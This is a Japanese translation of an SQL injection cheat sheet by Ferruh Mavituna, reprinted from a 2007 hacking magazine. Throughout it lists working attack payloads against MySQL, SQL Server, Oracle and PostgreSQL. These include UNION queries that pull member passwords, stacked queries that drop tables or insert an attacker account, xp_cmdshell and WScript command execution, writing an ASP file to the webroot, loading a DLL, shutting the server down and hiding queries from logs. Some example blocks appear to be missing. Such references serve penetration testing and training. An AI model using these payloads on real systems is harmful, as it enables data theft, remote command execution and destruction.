ハッカージャパン2007年5月号 特集1 Webアプリ攻略の教科書 より
・原文へのリンク SQL Injection Cheat Sheet
ハッカージャパン2007年5月号の紹介

SQL Injection Cheat Sheet

SQL Injection Cheat Sheet, Document Version 1.1

SQL Injection Cheat Sheatについて

現在のバージョンは、MySQLMicrosoft SQL Serverおよび一部のORACLEPostgreSQLのみに対応している。大半のサンプルは個々の状況で使用できるわけではない。括弧やコードベースの違い、予期できない変わったSQL文などのため、実際の環境はこれと異なる場合がある。

サンプルでは、可能な攻撃の基本的なアイディアを示している。ほとんどのセクションでは、そのセクションに関する簡単な情報も述べている。

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : おそらく他のデータベースすべて
例;

目次

  1. SQL Injection Cheat Sheatについて
  2. 文法のリファレンス、攻撃のサンプル、狡猾なSQLインジェクション小技
    1. 1行コメント
    2. インラインコメント
    3. 複文
    4. If命令文
    5. 数値の利用
    6. 文字列操作
    7. クォートを利用しない文字列
    8. 文字列変換
    9. UNIONインジェクション
    10. 残りの部分については未整理だが、下書きやノートなどが含まれるので、チェックしてみてほしい。

文法のリファレンス、攻撃のサンプル、狡猾なSQLインジェクション小技

終端 / コメントアウト / 1行コメント

1行コメント

クエリの残り部分をコメントアウトする。
1行コメントは、クエリの残り部分を無視するために使用される最も一般的な手法である。コメントアウトすることで、構文を完成させる必要がなくなる。

1行コメントを利用したSQLインジェクション攻撃のサンプル

インラインコメント

インラインコメントはSQL文を終了させずに以降のクエリをコメントアウトする。これは、ブラックリストをバイパスしたり、スペースを削除したり、SQL文を判読しにくくしたり、データベースのバージョンを確認したりするために使用される。

典型的なインラインコメントSQLインジェクション攻撃のサンプル
MySQLバージョン検出攻撃のサンプル

複文

1回のトランザクションで複数のクエリを実行させる。これは、全てのインジェクション可能な箇所でとても効果的だ。バックエンドにSQL Serverを利用しているアプリケーションに対しては、特に有効だ。

SQLクエリを終了し、別のクエリを開始する。

複文をサポートする言語とデータベースの一覧

緑:サポート、 暗灰色:サポートしていない、明灰色:不明

SQL Server MySQL PostgreSQL ORACLE MS Access
ASP    
ASP.NET    
PHP      
Java    

 

MySQLとPHPについて
若干の問題を明らかにしておこう。
PHP−MySQLの組み合わせでは、複文はサポートされていない。Javaは複文をサポートしていない(ORACLEについては確実だが、他のデータベースに関しては確定ではない)。通常、MySQLは複文をサポートしている。しかし、データベースレイヤー側の設定のため、PHP-MySQLアプリケーションでは2番目のクエリを実行することができない。MySQLクライアントは複文をサポートしているのかもしれないが、確信はない。誰か解明して欲しい。

複文によるSQLインジェクション攻撃のサンプル

これは、通常のクエリを実行した後でDROP membersというSQL文が実行される。

If命令文

If命令文に基づいたレスポンスの取得。これは、ブラインドSQLインジェクションのキーポイントの1つであり、盲目的かつ正確に単純な条件文をテストするためにも役立つ。

MySQLのIf命令文

SQL ServerのIf命令文

If命令文を利用したSQLインジェクション攻撃のサンプル

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
saかdbo以外のユーザーがログインしている場合、0除算エラーが発生する。

数値の利用

magic_quotes()や類似したフィルター、Webアプリケーションファイアウォールをバイパスするために役立つ。

文字列操作

文字列関連操作。これらはクォートを使用せずインジェクションを組み立てたり、ブラックリストをバイパスしたり、バックエンドのデータベースを判別したりするのにかなり有効である。

文字列連結

MySQLの"||"について
ANSIモードで稼動中のMySQLでは正常に動作するが、他のモードであれば論理演算子として解釈されて0が返される。よりよい方法は、MySQLのCONCAT()関数の利用である。

クォートを利用しない文字列

文字列を利用する直接的な方法はいくつかあるが、CHAR()(MS)とCONCAT()(M)によるクォートを使用しない文字列の生成は常に可能だ。

16進数コードベースのSQL Injectionサンプル

文字列変換

UNIONインジェクション

UNIONを使用することで別のテーブルに対してSQLクエリを実行することができる。つまり、他のテーブルからレコードを取得するよう、クエリに"仕込む"ことが可能だ。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
これは、newsテーブルとmembersテーブルの検索結果を結合してすべてのデータを返す。

UNION−言語による問題の解決策

Union Injectionで攻略中、時として異なる言語設定(テーブル設定、列設定、テーブルとDBの設定の組み合わせなど)によりエラーが発生することがある。以下に説明する機能は、この言語設定問題を回避するためにかなり有効な手段である。これは稀な問題ではあるが、日本語、ロシア語、トルコ語などのアプリケーションを利用している場合、起きる可能性がある。

Login Screen (SMO+)

SQL Injection 101で紹介していたLogin手法:

*MySQLの古いバージョンではUNIONのクエリをサポートしていない。

エラーベースでの列名の調査

HAVING BYを利用した列名の調査(エラーベース) (S)

以下の順序で実行する。

ORDER BYを利用したSELECTする列数の調査 (MSO+)

ORDER BYを利用した列番号の確認で、UNION SQLインジェクションのプロセスをスピードアップできる。

データタイプ、UNION、その他

ヒント

列の型の見分け方

Unionのターゲットでエラーになる前にconvert()がエラーを返すだろう。その場合、convert()から対処しよう。

単純なInsert (MSO+)

'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

便利な機能/情報収集/ストアドプロシージャ/Bulk SQL Injectionに関する覚書

@@version (MS)
SQLサーバのデータベースバージョンと詳細なバージョン情報を取得する。バージョンごとの変更はなし。他の列と同様にselectするだけでよく、テーブル名の指定は不要。insert文、update文や関数内でも使用可能。

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

ファイルのコンテンツをテーブル内に読み込む。Webアプリケーションが動作するサーバー内部のフォルダ構造を知らなければ、IISメタベースファイル%systemroot%\system32\inetsrv\MetaBase.xmlを読み込み、メタベースファイルからアプリケーションが存在するフォルダを探すことが可能だ(IIS6のみ)。

    1. foo(line varchar(8000))テーブルを作成する。
    2. 'c:\inetpub\wwwroot\login.asp'からfooにbulk insertする。
    3. テンポラリテーブル(foo)を削除し、他のファイルに対しても同様に繰り返す。

BCP (S)

テキストファイルへデータを出力する。この機能を利用するにはログイン権限が必要となる。
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

SQL ServerにおけるVBS、WSH (S)

ActiveXをサポートしているためSQL ServerではVBSやWSHスクリプトが利用可能。

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

xp_cmdshellでシステムのコマンドを実行する (S)

よく知られた小技で、SQL Server2005ではデフォルトで無効にされている。利用するためには管理者権限が必要となる。

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

単にpingチェックする(これを実行できるように自分のファイアウォールやスニッファーを設定しておく)。

EXEC master.dbo.xp_cmdshell 'ping <ip address>'

エラー、UNION、その他の方法を利用して結果を直接読み出すことはできない。

SQL Serverにおける特殊なテーブル (S)

SQL Serverのその他のストアドプロシージャ (S)

  1. コマンドの実行(xp_cmdshell
    exec master..xp_cmdshell 'dir'

  2. レジストリ関連(xp_regread
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

  3. サーバー管理(xp_servicecontrol
  4. メディア(xp_availablemedia
  5. ODBCリソース(xp_enumdsn
  6. ログインモード(strong>xp_loginconfig)
  7. Cabファイル作成(xp_makecab
  8. ドメイン列挙(xp_ntsec_enumdomains
  9. プロセス終了(プロセスIDが必要)(xp_terminate_process
  10. 新プロシージャの追加(事実上なんでも実行可能
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. 内部フォルダまたはUNCパス指定でのテキストファイル出力(sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL) 

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

SQL ServerではInsertクエリにselectサブクエリを使用不可能。

LIMIT(M) 、ORDER(MSO) 句内のSQLインジェクション

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

LIMIT句の2番目の引数でインジェクション可能な場合、コメントアウトしたりUNIONインジェクションの中に含めたりするすることが可能。

SQL Serverのシャットダウン (S)

あなたが本当に逝ってしまった時、';shutdown --とすればシャットダウンする。

SQL Serverにおけるデータベース構造の調査 (S)

ユーザー定義テーブルの取得

SELECT name FROM sysobjects WHERE xtype = 'U'

列名の取得

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

レコードの移動 (S)

 

SQL ServerにおけるエラーベースSQLインジェクションを利用したデータ抽出の迅速な方法 (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

詳細記事:Fast way to extract data from Error Based SQL Injections

ブラインドSQLインジェクション

ブラインドSQLインジェクションとは

一般的に非常に優れたアプリケーションはページ上にエラーメッセージを表示することはないので、UNIONアタックやエラーベースのアタック手法を利用してデータを抽出することはできない。データを抽出するにはブラインドSQLインジェクション攻撃を利用すべきである。ブラインドSQLインジェクションには2種類のパターンがある。

通常のブラインド:ベージ上にレスポンスが表示されることはないがHTTPステータスコードやクエリのレスポンス結果から状況を判断することができる。
完全なブラインド:いかなる種類の出力においても全く差異が見られないことを指す。これは、ログ機能や似たような機能であり得るインジェクションである。しかし、これは一般的ではない。

通常のブラインドではifステートメントWHERE句のクエリを悪用してのインジェクションが可能(一般的に比較的容易)だが、完全なブラインドではwait機能の類やレスポンスタイムの分析を利用する必要がある。このためには、SQL ServerではWAIT FOR DELAY '0:0:10'、MySQLではBENCHMARK()、PostgreSQLではpg_sleep(10)、ORACLEではいくつかのPL/SQLトリックを使うことができる。

実際の多少複雑なブラインドSQLインジェクション攻撃のサンプル

以下の出力は、実際に個人的に使用しているブラインドSQLインジェクションツールで、SQL Serverをバックエンドに使用するアプリケーションへの攻撃およびテーブル名の割り出しを実行したものだ。これは最初のテーブル名の最初の文字を割り出すためのリクエストである。自動判断処理を行っているため、SQLクエリはより複雑になっている。二分探索アルゴリズムを使用して文字のアスキーコード特定を試行している。

各行の先頭のTRUEFALSEは、クエリが真を返したか偽を返したかを示している。

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

最後の2つのクエリが両方ともFALSEを返しているため、テーブル名の最初の文字がアスキーコード80番(10進数)、つまり'P'であることが特定できる。これが二分探索アルゴリズムを使用したブラインドSQLインジェクションの攻略手法である。よく知られた他の方法は1つずつ順番にチェックしていく方法である。それぞれ、異なる状況での効果が期待できる。

 

WAITFORを利用したブラインドSQLインジェクション

まず、完全なブラインドであればこれを使用する。それ以外の場合は、単に0除算エラーを発生させる方法で状態の差異を判断する。次に、2〜30秒以上かかることに注意が必要だ。データベースAPIによる接続やスクリプトでタイムアウトが発生する可能性がある。

WAIT FOR DELAY 'time' (S)

これはsleepと同様、指定した時間の処理を待たせることができる。データベースの待ち時間を作り出すCPUセーフな方法である。

WAITFOR DELAY '0:0:10'--

以下の様に1秒以下の短時間の指定をすることも可能。

WAITFOR DELAY '0:0:0.51'

実際のサンプル

BENCHMARK() (M)

基本的に、MySQLを短時間待たせるために以下のコマンドを活用している。Webサーバの処理能力を短時間で限界まで消費することに注意すること。

BENCHMARK(howmanytimes, do this)

実際のサンプル

pg_sleep(seconds) (P)

指定した秒数sleepする。

追記

SQL Server -sp_passwordを使用したログのバイパス (S)

セキュリティの関係上、SQL Serverはsp_passwordに含まれるクエリについてはログを採取しない。つまり、sp_passwordを送信するクエリに追加した場合、そのクエリはSQL Serverのログに記述されない(当然Webサーバーのログには記録される可能性がある。可能であればPOSTメソッドを使用すること)。

Clear SQL Injection Tests

以下は、ブラインドSQLインジェクションとサイレントアタックを実施するための、シンプルで良いテストである。

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1

  2. product.asp?name=Book
    1. product.asp?name=Bo’+’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

MySQLに関するその他の覚書

利用価値がある可能性がある関数

MD5()
SHA1()
CHAR()
PASSWORD()
ENCODE()
COMPRESS()
BENCHMARK()
ROW_COUNT()
SCHEMA()
VERSION()

セカンドオーダーSQLインジェクション

基本的に、SQLインジェクションをどこかに仕込んで、それが他の動作でフィルターされないことが期待できる。これは、一般的なhiddenレイヤーの問題である。

Name :  ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

もしアプリケーションが安全ではないストアドプロシージャ、関数、処理などでnameフィールドのデータを利用していた場合、usersテーブルの最初のユーザのパスワードがメールの宛先名などに挿入されるかもしれない。

References

これらの覚書きは、ここ数年幾つかのサイトから収集したり個人的な経験から得られたりしたことである。なので参照先が幾つか抜けているかもしれない。もし、参照先が抜けているのではと思ったときは私にメールを投げて頂ければ(ferruh-at-mavituna.com)、可能な限り早く更新するつもりだ。

変更履歴

To Do /連絡先/ Help

Oracle、PostgreSQL、DB2、MS Accessに関する覚え書きや、現在ここに記載していない小技の幾つかが多数ある。可能な限りはやくWebに掲載したいと思っている。もし、新しい小技を見つけた時や手伝いたいときは、ここにコメントを書くのではなく直接メールしてほしいferruh-at-mavituna.com)。

 


Ferruh Mavituna
http://ferruh.mavituna.com